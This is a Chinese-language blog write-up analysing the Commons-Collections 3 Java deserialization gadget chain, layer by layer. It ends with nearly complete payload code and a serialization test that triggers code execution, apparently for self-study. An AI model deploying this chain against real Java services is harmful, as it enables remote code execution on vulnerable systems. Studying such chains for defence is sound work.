0x00 前言
有了之前的几个Gadget的基础,似乎分析后面的Gadget都如鱼得水了(至少现在分析CC3是这样的🤣),一日一更好像可以实现了🤗。结果一晚上,我玩了半天Windows Terminal和PowerToys,不得不说有了这两个东西,效率从某方面来说是高了,但从另外一方面也让我效率更低了🤣。
本篇包含以下元素:
- CC3-Gadget的分析(只适用于JDK7或8u71,CC-3.1)
0x01 TrAXFilter
CC3-Gadget采用的思路其实就是将CC2与CC1结合,继续使用CC1中LazyMap下的Anno…Handler包装来触发,同时继续使用CC2中的Templates链。这几篇文章的链接如下,有不清楚的读者(在想什么?根本不存在读者,好吧)可以先去阅读这几篇:
java反序列化之CC1其一,Java反序列化之CC1其二,Java反序列化之CC2
构造函数
在CC2-Gadget一文中,我们介绍过如何构造一个Templates链,这个链只要被调用了newTransformer方法,就会触发。而在TrAXFilter的构造函数中,居然直接调用了Templates templates的newTransformer……(我好不容易xx,你却让他调用的这么轻易,焯🤡
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
所以我们可以很轻易的写出下面的一层包装,当实例化时就会触发RCE:
//templates链的构造,自己看CC2-Gadget文章去实现。
MakeTemplates makeTemplates = new MakeTemplates();
TemplatesImpl templates = (TemplatesImpl) makeTemplates.makeTemplate();
//the constructor of TrAXFilter invoke "templates.newTransformer()"
TrAXFilter txFilter = new TrAXFilter(templates);
0x02 InstantiateTransformer
InstantiateTransformer类中的transform,和CC1中的InvokerTransformer类似,不过后者是可以通过反射获得任意方法,而这里可以通过实例化任意的类。(话说能获得任意方法,似乎也能慢慢构造出实例化任意类,下次有空再试试)
transform
在InstantiateTransformer#transform(Object input)中利用反射调用实例化了任意类:
public Object transform(Object input) {
try {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
//略
这里的iParamTypes和iArgs都是可控的:
public InstantiateTransformer(Class[] paramTypes, Object[] args) {
super();
iParamTypes = paramTypes;
iArgs = args;
}
尝试用这个类进行进一步包装:
//get templatesChian
MakeTemplates makeTemplates = new MakeTemplates();
Templates templates = (Templates) makeTemplates.makeTemplate();
//use InstantiateTransformer.tranform() to new a TrAXFilter
Class[] iParamTypes = new Class[]{Templates.class};
Object[] iArgs = new Object[]{templates};
InstantiateTransformer instTmer = new InstantiateTransformer(iParamTypes, iArgs);
instTmer.transform(TrAXFilter.class);
成功的弹出了计算器,YES。
0x03 ChainedTransformer
上面虽然实现了调用transform并传入TrAXFilter.class即可实现RCE,但是仍然是不够的,因为还是需要手动传参,如果有一个能够帮助我们传入参数的方法就好了。如果还记得CC1-Gadget中的分析的话,就能够很容易想到一个类: ChainedTransformer,使用这个类中的transform方法,能够让实例化时传入的Transformer[]中的T[i]依次调用自己的transform,并且会把T[i].transform的结果当作T[i+1].transform的参数。另外,ConstantTransformer#transform,不管传入什么参数,都只会返回实例化时传入的参数。所以,将两者结合,放入到Transformer[]中,然后传递给ChainedTransformer,当调用ChainedTransformer#transform时,就可以做到自动传参。思路就是:
- T[i] = new ConstantTransformer(T[i+1]需要的参数)
- T[i+1] = new xxxTransformer(xxx)
- 把T[]放入ChainedTransformer,即new ChainedTransformer(T[])
- 调用ChainedTransformer#transform,就可以做到xxxTransformer.transform(T[i+1]需要的参数)的效果
构造
上面说了这么多,已经把构造的思路说的很明显了,下面尝试构造:
//get templatesChian
MakeTemplates makeTemplates = new MakeTemplates();
Templates templates = (Templates) makeTemplates.makeTemplate();
//use LzMap && Annotation...Handler (CC1-Gadget)
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chain = new ChainedTransformer(transformers);
//test chain
chain.transform("foo");
0x04 LazyMapChain
上面已经成功构造出了chain,然后我们就可以直接使用CC1里的LazyMapChain来进行一步到位的包装,实现readObject触发(关于LzMapChain的构造不再赘述,可看CC1):
HashMap hashMap = new HashMap();
LazyMap lzMap = (LazyMap) LazyMap.decorate(hashMap, chain);
//test lazyMapChain
//lzMap.get("foo");
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) ctor.newInstance(Documented.class, lzMap);
Map proxyLzmap = (Map) Proxy.newProxyInstance(lzMap.getClass().getClassLoader(),
lzMap.getClass().getInterfaces(),
handler
);
Object payload = ctor.newInstance(Documented.class, proxyLzmap);
//test serialize
LzMap.testSer(payload);
测试类如下:
public static void testSer(Object payload) throws Exception{
//ser
FileOutputStream file = new FileOutputStream("Red.bin");
ObjectOutputStream se = new ObjectOutputStream(file);
se.writeObject(payload);
se.close();
//deser
FileInputStream file1 = new FileInputStream("Red.bin");
ObjectInputStream unse = new ObjectInputStream(file1);
unse.readObject();
unse.close();
}